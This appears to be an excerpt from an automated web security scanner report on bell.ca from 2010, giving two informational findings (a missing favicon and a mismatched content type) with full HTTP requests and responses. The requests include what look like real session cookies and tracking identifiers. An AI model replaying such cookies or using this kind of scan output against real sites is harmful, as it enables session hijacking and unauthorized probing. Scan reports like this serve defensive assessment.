5.2. http://www.bell.ca/favicon.ico  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A4%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":13,"to":5,"c":"https://www.bell.ca/home/Home_L_Login.page","f":1290477409747,"lc":{"d0":{"v":9,"s":true}},"cd":0,"sd":0,"pn":0}; s_pers=%20s_pv%3Dnb%253Ac%253AstoreLocator%253ASearchResults%2528en-on%2529%7C1290479285259%3B; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479699436%3B%20s_lv%3D1290477899441%7C1385085899441%3B%20s_lv_s%3DFirst%2520Visit%7C1290479699441%3B%20s_pv%3DError%253A404%25201%7C1290479699463%3B; idevbellca0_s_sess=%20s_oSRC%3D1%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 404 Not Found
Content-Length: 3604
Content-Type: text/html
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Date: Tue, 23 Nov 2010 02:06:04 GMT


<html>
<head>
   <title>Page not found/Page non trouv.e</title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]>
<link rel="st
...[SNIP]...

6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.bell.ca
Path:   /shopping/resources/jsp/gpn.jsp

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /shopping/resources/jsp/gpn.jsp HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/favico.ico
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A4%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":13,"to":5,"c":"https://www.bell.ca/home/Home_L_Login.page","f":1290477409747,"lc":{"d0":{"v":9,"s":true}},"cd":0,"sd":0,"pn":0}; s_pers=%20s_pv%3Dnb%253Ac%253AstoreLocator%253ASearchResults%2528en-on%2529%7C1290479285259%3B; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479699436%3B%20s_lv%3D1290477899441%7C1385085899441%3B%20s_lv_s%3DFirst%2520Visit%7C1290479699441%3B%20s_pv%3DError%253A404%25201%7C1290479699463%3B; idevbellca0_s_sess=%20s_oSRC%3D1%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Length: 25
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 02:06:02 GMT

<!-- GPN: QC_DC3CAV_4 -->

Report generated by XSS.CX at Mon Nov 22 20:09:28 CST 2010.